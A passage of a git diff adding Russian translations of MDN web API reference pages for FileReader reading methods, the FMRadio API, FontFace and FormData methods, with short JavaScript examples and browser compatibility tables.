[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения для удовлетворения условий спецификации. До Gecko 13.0 {{geckoRelease("13.0")}} свойство FileReader.error возвращало объект {{domxref("FileError")}}. Этот интерфейс был удален и теперь FileReader.error возвращает объект {{domxref("DOMError")}} как это определено в последнем драфте FileAPI.

+ +

[2] IE9 имеет File API Lab.

+ +

[3] Opera частично поддерживает в версии 11.1.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html new file mode 100644 index 0000000000..f32be8f61b --- /dev/null +++ b/files/ru/web/api/filereader/readasbinarystring/index.html @@ -0,0 +1,113 @@ +--- +title: FileReader.readAsBinaryString() +slug: Web/API/FileReader/readAsBinaryString +translation_of: Web/API/FileReader/readAsBinaryString +--- +
{{APIRef("File API")}} {{non-standard_header}}
+ +

Метод readAsBinaryString используется для начала считывания содержимого определенного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится DONE, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырыебинарные данные из файла.

+ +

Заметьте, что этот метод  устарел (12 July 2012 Working Draft from the W3C.)

+ +

Синтаксис

+ +
instanceOfFileReader.readAsBinaryString(blob);
+ +

Параметры

+ +
+
blob
+
The {{domxref("Blob")}} or {{domxref("File")}} from which to read.
+
+ +

Пример

+ +
var canvas = document.createElement('canvas');
+var height = 200;
+var width  = 200;
+
+canvas.width  = width;
+canvas.height = height;
+
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = '#090';
+ctx.beginPath();
+ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
+ctx.stroke();
+
+canvas.toBlob(function (blob) {
+  var reader = new FileReader();
+
+  reader.onloadend = function () {
+    console.log(reader.result);
+  }
+
+  reader.readAsBinaryString(blob);
+});
+ +

Спецификации

+ +

Этот метод был удален из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]7{{CompatNo}}12.02[3]6.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.0
+
+ +

[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the FileReader.error property returned a {{domxref("FileError")}} object. This interface has been removed and FileReader.error is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.

+ +

[2] IE9 has a File API Lab.

+ +

[3] Opera has partial support in 11.1.

+ +

См. также

+ + diff --git a/files/ru/web/api/filereader/readasdataurl/index.html b/files/ru/web/api/filereader/readasdataurl/index.html new file mode 100644 index 0000000000..fe755489e9 --- /dev/null +++ b/files/ru/web/api/filereader/readasdataurl/index.html @@ -0,0 +1,64 @@ +--- +title: FileReader.readAsDataURL() +slug: Web/API/FileReader/readAsDataURL +translation_of: Web/API/FileReader/readAsDataURL +--- +

{{APIRef("File API")}}

+ +

Метод readAsDataURL используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}.Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение DONE, и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут  {{domxref("FileReader.result","result")}} будет содержать данные как URL, представляющий файл, кодированый в base64 строку.

+ +

Синтаксис

+ +
instanceOfFileReader.readAsDataURL(blob);
+ +

Параметры

+ +
+
blob
+
{{domxref("Blob")}} или{{domxref("File")}} которые следует прочитать.
+
+ +

Пример

+ +

HTML

+ +
<input type="file" onchange="previewFile()"><br>
+<img src="" height="200" alt="Image preview...">
+ +

JavaScript

+ +
function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.onloadend = function () {
+    preview.src = reader.result;
+  }
+
+  if (file) {
+    reader.readAsDataURL(file);
+  } else {
+    preview.src = "";
+  }
+}
+ +

Результат

+ +

{{EmbedLiveSample("%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80", "100%", 240)}}

+ +
Примечание: FileReader() конструктор не поддерживается Internet Explorer до 10 версии. Для полностью совместимого решения прочтите crossbrowser possible solution for image preview. Смотрите так же this more powerful example.
+ +

Спецификации

+ +

{{page("/en-US/docs/Web/API/FileReader","Specifications")}}

+ +

Совместимость с браузерами

+ +

{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/filereader/readastext/index.html b/files/ru/web/api/filereader/readastext/index.html new file mode 100644 index 0000000000..fef33b109d --- /dev/null +++ b/files/ru/web/api/filereader/readastext/index.html @@ -0,0 +1,50 @@ +--- +title: FileReader.readAsText() +slug: Web/API/FileReader/readAsText +translation_of: Web/API/FileReader/readAsText +--- +
{{APIRef("File API")}}
+ +

Метод readAsText() используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}. Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение DONE  и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут {{domxref("FileReader.result","result")}} будет содержать данные файла как строку.

+ +

Syntax

+ +
instanceOfFileReader.readAsText(blob[, encoding]);
+ +

Parameters

+ +
+
blob
+
{{domxref("Blob")}} или {{domxref("File")}} которые следует прочитать.
+
encoding {{optional_inline}}
+
Строка, обозначающая кодировку используемую для возращаемых данных. По умолчанию используется UTF-8, если параметр не указан.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FileReader.readAsText")}}

+ +

See also

+ + diff --git a/files/ru/web/api/fmradio/index.html b/files/ru/web/api/fmradio/index.html new file mode 100644 index 0000000000..0d889f3956 --- /dev/null +++ b/files/ru/web/api/fmradio/index.html @@ -0,0 +1,94 @@ +--- +title: FMRadio +slug: Web/API/FMRadio +translation_of: Archive/B2G_OS/API/FMRadio +--- +

{{ APIRef("FMRadio API")}}{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('installed') }}

+ +

Summary

+ +

WebFM API предоставляет доступ к модулю FM радио устройства. Этот интерфейс поможет Вам включить или выключить FM радио и настроить его на нужную станцию. Это достижимо с помощью параметра {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}}.

+ +

Обзор API

+ +
interface FMRadio : EventTarget {
+   readonly attribute boolean enabled;
+   readonly attribute boolean antennaAvailable;
+   readonly attribute double frequency;
+   readonly attribute double frequencyUpperBound;
+   readonly attribute double frequencyLowerBound;
+   readonly attribute double channelWidth;
+
+   attribute Function onantennaavailablechange;
+   attribute Function onfrequencychange;
+   attribute Function onenabled;
+   attribute Function ondisabled;
+
+   DOMRequest enable(double frequency);
+   DOMRequest disable();
+   DOMRequest setFrequency(double frequency);
+   DOMRequest seekUp();
+   DOMRequest seekDown();
+   DOMRequest cancelSeek();
+}
+ +

Параметры

+ +
+
{{domxref("FMRadio.enabled")}}
+
Показывает играет ли радио
+
{{domxref("FMRadio.antennaAvailable")}}
+
Показывает доступна ли антенна
+
{{domxref("FMRadio.frequency")}}
+
Текущая частота радио.
+
{{domxref("FMRadio.frequencyUpperBound")}}
+
Максимальная частота по которой можно найти радиостанцию
+
{{domxref("FMRadio.frequencyLowerBound")}}
+
Минимальная частота по которой можно найти радиостанцию
+
{{domxref("FMRadio.channelWidth")}}
+
Частота текущей радиостанции, в МГц.
+
+ +

Event handlers

+ +
+
{{domxref("FMRadio.onenabled")}}
+
A handler for the {{event("enabled")}} event; It is triggered when the radio has been turned on
+
{{domxref("FMRadio.ondisabled")}}
+
A handler for the {{event("disabled")}} event; It is triggered when the radio has been turned off
+
{{domxref("FMRadio.onantennaavailablechange")}}
+
A handler for the {{event("antennaavailablechange")}} event; It is triggered when an antenna is plugged or unplugged
+
{{domxref("FMRadio.onfrequencychange")}}
+
A handler for the {{event("frequencychange")}} event; It is triggered whenever the radio frequency is changed
+
+ +

Методы

+ +
+
{{domxref("FMRadio.enable()")}}
+
Turns on the radio on the given frequency. This function throws if called with no argument. Returns a {{domxref("DOMRequest")}} for the success or error of the operation.
+
{{domxref("FMRadio.disable()")}}
+
Turns the radio off. Returns a {{domxref("DOMRequest")}} which success indicates that the radio has properly been disabled
+
{{domxref("FMRadio.setFrequency()")}}
+
Asynchronously changes the radio frequency. The value has to be between frequencyLowerBound and frequencyUpperBound. Trying to set outside the bounds results in an error.
+
Returns a {{domxref("DOMRequest")}} which success indicates the frequency has properly been changed.
+
{{domxref("FMRadio.seekUp()")}}
+
Asks the radio to find a new frequency (usually greater than the current one). If one is successfully found, a frequencychange event is fired. Returns a {{domxref("DOMRequest")}} which success indicates that the search has started. The search circles back to lower frequencies when the highest frequency has been reached.
+
{{domxref("FMRadio.seekDown()")}}
+
Same as above, but searching in frequencies lower than the current one. The search cirlces back to higher frequencies when the lowest frequency has been reached.
+
{{domxref("FMRadio.cancelSeek()")}}
+
Cancels the radio seek if one was happening. Returns a {{domxref("DOMRequest")}} which success indicates that the frequency search has been cancelled.
+
+ +

Спецификация

+ +

Ещё нет спецификаций.

+ +

See also

+ + diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html new file mode 100644 index 0000000000..9d3220ee74 --- /dev/null +++ b/files/ru/web/api/fontface/index.html @@ -0,0 +1,79 @@ +--- +title: FontFace +slug: Web/API/FontFace +tags: + - Интерфейс + - Шрифты +translation_of: Web/API/FontFace +--- +

{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}

+ +

Интерфейс FontFace представляет единый используемый шрифт. Он позволяет контролировать источник шрифта, являющийся URL-адресом внешнего ресурса или буфера; а также контролировать момент загрузки шрифта и его текущее состояние.

+ +

Конструктор

+ +
+
{{domxref("FontFace.FontFace", "FontFace()")}}
+
Создает и возвращает новый объект FontFace, созданный из внешнего ресурса, описаннного  URL-адресом или из {{domxref("ArrayBuffer")}}.
+
+ +

Свойства

+ +

Этот интерфейс не наследует свойства.

+ +
+
{{domxref("FontFace.display")}}
+
{{domxref("CSSOMString")}} определяет способ отображения шрифта, основываясь на информации о статусе его загрузки и готовности к использованию.
+
{{domxref("FontFace.family")}}
+
{{domxref("CSSOMString")}} получает или устанавливает семейство шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-family", "font-family")}}.
+
{{domxref("FontFace.featureSettings")}}
+
{{domxref("CSSOMString")}} получает или устанавливает редко используемые возможности шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}.
+
{{domxref("FontFace.loaded")}} {{readonlyinline}}
+
Возвращает {{domxref("Promise")}}, которое выполняется для текущего объекта  FontFace, когда специфичный шрифт, указанный в конструкторе объекта, завершает загрузку, либо отклоняется с помощью SyntaxError.
+
{{domxref("FontFace.status")}} {{readonlyinline}}
+
Возвращает перечисляемое значение, указывающее на состояние шрифта : "unloaded", "loading", "loaded", или "error".
+
{{domxref("FontFace.stretch")}}
+
{{domxref("CSSOMString")}} получает или устанавливает свойство растягивания шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-stretch", "font-stretch")}}.
+
{{domxref("FontFace.style")}}
+
{{domxref("CSSOMString")}} получает или устанавливает стиль шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-style", "font-style")}}.
+
{{domxref("FontFace.unicodeRange")}}
+
{{domxref("CSSOMString")}} получает или устанавливает диапазон точек кодирования Юникод, охватывающих шрифт. Эквивалентен дескриптору {{cssxref("@font-face/unicode-range", "unicode-range")}}.
+
{{domxref("FontFace.variant")}}
+
{{domxref("CSSOMString")}} получает или устанавливает вариант шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-variant", "font-variant")}}.
+
{{domxref("FontFace.weight")}}
+
{{domxref("CSSOMString")}} содежит толщину шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-weight", "font-weight")}}.
+
+ +

Методы

+ +

Этот интерфейс не наследует методы.

+ +
+
{{domxref("FontFace.load()")}}
+
Загружает шрифт, основываясь на переданных требованиях конструктора текущего объекта, включая расположение или ресурсный буфер, и возврящает {{jsxref('Promise')}}, которое выполнятеся для текущего объекта FontFace.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусоммнтари
{{SpecName('CSS3 Font Loading','#FontFace-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}Первое определение
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("api.FontFace")}}

+
diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html new file mode 100644 index 0000000000..10c6a75f26 --- /dev/null +++ b/files/ru/web/api/formdata/append/index.html @@ -0,0 +1,180 @@ +--- +title: FormData.append() +slug: Web/API/FormData/append +translation_of: Web/API/FormData/append +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод append() из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта FormData, или создает ключ, в случае если он отсутствует.

+ +

Разница между {{domxref("FormData.set")}} и append() в том, что если заданный ключ уже существует, {{domxref("FormData.set")}} заменит данные в нем на новые, а append() добавит новое значение к остальным в конец.

+ +
+

Примечание: Данный метод также доступен в Web Workers.

+
+ +

Синтаксис

+ +

Существует две формы использования данной функции: с двумя и тремя параметрами:

+ +
formData.append(name, value);
+formData.append(name, value, filename);
+ +

Параметры

+ +
+
name
+
Имя поля, которое будет содержать данные из value.
+
value
+
Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в нее конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.
+
filename {{optional_inline}}
+
Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошел проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".
+
+ +
+

Note: Если вы укажете {{domxref("Blob")}} в качестве данных для включения в объект FormData, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.

+
+ +

Возвращает

+ +

Пустота.

+ +

Пример

+ +

Данная строка кода создает пустой FormData объект:

+ +
var formData = new FormData(); // Currently empty
+ +

Вы можете добавлять пару ключ/значение с помощью {{domxref("FormData.append")}}:

+ +
formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');
+ +

Также вы можете использовать обозначения массива для первого аргумента:

+ +
formData.append('userpic[]', myFileInput1.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput2.files[0], 'chris2.jpg');
+ +

Эта техника позволяет упростить мультифайловую загрузку данных потому, что в результате структура данных является более благоприятной для цикла.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСостояниеЗаметки
{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Поддержка

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7{{CompatGeckoDesktop("2.0")}}[1]10125
append with filename{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in web workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0[2]{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}[1]1.0.1{{CompatUnknown}} +

12

+ 		{{CompatUnknown}}
append with filename{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}}1.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in web workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Prior to Gecko 7.0 {{geckoRelease("7.0")}}, if you specified a {{domxref("Blob")}} as the data to append to the object, the filename reported in the "Content-Disposition" HTTP header was an empty string; this resulted in errors being reported by some servers. Starting in Gecko 7.0 the filename "blob" is sent.

+ +

[2] XHR в Android 4.0 отправляет пустое содерживое FormData с blob.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..7335145f86 --- /dev/null +++ b/files/ru/web/api/formdata/delete/index.html @@ -0,0 +1,138 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/delete +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод delete() интерфейса {{domxref("FormData")}} удаляет ключ и его зачение(-ия) из объекта FormData.

+ +
+

Note: Этот метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.delete(name);
+ +

Параметры

+ +
+
name
+
Имя ключа для удаления.
+
+ +

Возвращает

+ +

Нет.

+ +

Пример

+ +

Следующий код создает объект FormData и заполняет его парами "ключ"/"значение" из формы:

+ +
var formData = new FormData(myForm);
+ +

Вы можете удалить пару "ключ"/"значение" используя delete():

+ +
formData.delete('username');
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in web workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+ 		{{CompatNo}}
Available in web workers{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/formdata/entries/index.html b/files/ru/web/api/formdata/entries/index.html new file mode 100644 index 0000000000..04c79a6589 --- /dev/null +++ b/files/ru/web/api/formdata/entries/index.html @@ -0,0 +1,125 @@ +--- +title: FormData.entries() +slug: Web/API/FormData/entries +tags: + - API + - FormData + - Iterator + - Method + - Reference + - XMLHttpRequest API +translation_of: Web/API/FormData/entries +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод FormData.entries() возвращает {{jsxref("Iteration_protocols",'iterator')}}, позволяя пройтись по всем ключам/значениям в этом объекте. Ключ каждой пары - это объект {{domxref("USVString")}}, значение - это {{domxref("USVString")}} или {{domxref("Blob")}}.

+ +
+

Примечание: Метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.entries();
+ +

Возвращаемые значения

+ +

Возвращает {{jsxref("Iteration_protocols","iterator")}}.

+ +

Пример

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+
+ +

Резуьтат:

+ +
key1, value1
+key2, value2
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Начальное опеределение
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatUnknown}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

См. также

+ + diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html new file mode 100644 index 0000000000..260388230f --- /dev/null +++ b/files/ru/web/api/formdata/formdata/index.html @@ -0,0 +1,89 @@ +--- +title: FormData() +slug: Web/API/FormData/FormData +translation_of: Web/API/FormData/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Конструктор FormData() создает новые объект {{domxref("FormData")}}, если проще - HTML-форму.

+ +

Синтаксис

+ +
var formData = new FormData(form)
+ +

Параметры

+ +
+
form {{optional_inline}}
+
Существующая HTML-форма, на основе которой будет создана новая. Если ничего не указано, будет создана пустая форма.
+
+ +

Пример

+ +
<form name="test">
+  <input type="text" name="code" value="12345">
+  <input type="submit" value="Отправить">
+</form>
+ + + +
var
+    oldForm = document.forms.test,
+    formData = new FormData(oldForm)
+;
+
+console.log(
+    formData.get("code"),
+    formData === oldForm
+);
+
+
+ +

Методы

+ +
+

Подробнее о каждом методе можно прочитать, выбрав его в колонке слева.

+
+ +

Добавление нового текстового поля в форму:

+ +
formData.append(name, value, filename);
+
+ +

Удаление элемента формы:

+ +
formData.delete(name);
+ +

Получение значения элемента формы:

+ +
formData.get(name);
+
+ +

Проверка на наличие определенного элемента формы:

+ +
formData.has(name);
+ +

Изменение существующего элемента:

+ +
formData.set(name, value, filename);
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}{{Spec2('Fetch')}}
+ +

Поддержка браузерами

+ +
{{Compat("api.FormData.FormData")}}
diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html new file mode 100644 index 0000000000..df52182d7b --- /dev/null +++ b/files/ru/web/api/formdata/get/index.html @@ -0,0 +1,74 @@ +--- +title: FormData.get() +slug: Web/API/FormData/get +translation_of: Web/API/FormData/get +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод get() из интерфейса {{domxref("FormData")}} возвращает первое значение, связанное с переданным ключом из объекта FormData. Если вы ожидаете множественные значения и хотите получить их все, используйте метод getAll().

+ +
+

Примечание: Этот метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.get(name);
+ +

Параметры

+ +
+
name
+
{{domxref("USVString")}} строка, являющаяся именем ключа, значение которого вы хотите получить.
+
+ +

Возвращаемое значение

+ +

Значение из {{domxref("FormDataEntryValue")}}.

+ +

Пример

+ +

Следующий код создает пустой объект FormData:

+ +
var formData = new FormData();
+ +

Если мы добавим два значения  username, используя {{domxref("FormData.append")}}:

+ +
formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');
+ +

То метод get() вернёт только первое добавленное значение username:

+ +
formData.get('username'); // Вернёт "Борис"
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}{{Spec2('XMLHttpRequest')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.FormData.get")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html new file mode 100644 index 0000000000..24e12c408b --- /dev/null +++ b/files/ru/web/api/formdata/getall/index.html @@ -0,0 +1,145 @@ +--- +title: FormData.getAll() +slug: Web/API/FormData/getAll +translation_of: Web/API/FormData/getAll +--- +

{{APIRef("XMLHttpRequest")}}

+ +

getAll() - метод объекта {{domxref("FormData")}}, который возвращает все значения, связанные с ключом в объекте FormData.

+ +
+

Заметка: Этот метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.getAll(name);
+ +

Параметры

+ +
+
name
+
Строка формата {{domxref("USVString")}}, задающая имя ключа.
+
+ +

Возвращает

+ +

Массив значений типа {{domxref("FormDataEntryValue")}}, привязанных к ключу, переданному в параметре name. Если переданный ключ не существует, метод вернёт пустой массив.

+ +

Пример

+ +

Эта строка создаст пустой объект FormData:

+ +
var formData = new FormData();
+ +

Можем добавить два username при помощи {{domxref("FormData.append")}}:

+ +
formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');
+ +

Тогда метод getAll() вернёт оба значения username в виде массива:

+ +
formData.getAll('username'); // Вернет ["Борис", "Кирилл"]
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}{{Spec2('XMLHttpRequest')}}
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+ 		{{CompatNo}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/formdata/has/index.html b/files/ru/web/api/formdata/has/index.html new file mode 100644 index 0000000000..a682e158ba --- /dev/null +++ b/files/ru/web/api/formdata/has/index.html @@ -0,0 +1,73 @@ +--- +title: FormData.has() +slug: Web/API/FormData/has +translation_of: Web/API/FormData/has +--- +

{{APIRef("XMLHttpRequest")}}

+ +

Метод has() из интерфейса {{domxref("FormData")}} возвращает логическое значение, указывающее, содержит ли объект FormData указанный ключ.

+ +
+

Примечание: Этот метод доступен в Web Workers.

+
+ +

Синтаксис

+ +
formData.has(name);
+ +

Параметры

+ +
+
name
+
{{domxref("USVString")}} представляет собой имя ключа, которое вы хотите проверить.
+
+ +

Возвращаемое значение

+ +

{{domxref("Boolean")}}.

+ +

Пример

+ +

Следующий код создаёт пустой объект FormData:

+ +
var formData = new FormData();
+ +

В следующем коде показаны результаты проверки существования  username в объекте FormData, до и после добавления значения username в {{domxref("FormData.append")}}:

+ +
formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}{{Spec2('XMLHttpRequest')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.FormData.has")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html new file mode 100644 index 0000000000..35ea12c24a --- /dev/null +++ b/files/ru/web/api/formdata/index.html @@ -0,0 +1,80 @@ +--- +title: FormData +slug: Web/API/FormData +tags: + - API + - FormData + - Interface + - Reference + - XMLHttpRequest +translation_of: Web/API/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

XMLHttpRequest 2 добавляет поддержку для нового интерфейса FormData. Объекты FormData позволяют вам легко конструировать наборы пар ключ-значение, представляющие поля формы и их значения, которые в дальнейшем можно отправить с помощью метода send().

+ +

FormData использует такой же формат на выходе, как если бы мы отправляли обыкновенную форму с encoding установленным в "multipart/form-data".

+ +
+

Важно: О деталях использования FormData можно прочитать в статье Использование объекта FormData.

+
+ +

Конструктор

+ +
+
{{domxref("FormData.FormData","FormData()")}}
+
Создаёт объект FormData.
+
+ +

Методы

+ +
+
{{domxref("FormData.append")}}
+
Добавляет новое значение существующего поля объекта FormData, либо создаёт его и присваивает значение.
+
{{domxref("FormData.delete")}}
+
Удаляет пару ключ-значение из объекта FormData.
+
{{domxref("FormData.get")}}
+
Возвращает первое значение ассоциированное с переданным ключом из объекта FormData.
+
{{domxref("FormData.getAll")}}
+
Возвращает массив всех значений ассоциированных с переданным ключом из объекта FormData.
+
{{domxref("FormData.has")}}
+
Возвращает булево значение касательно наличия в объекте FormData  конкретной пары ключ-значение.
+
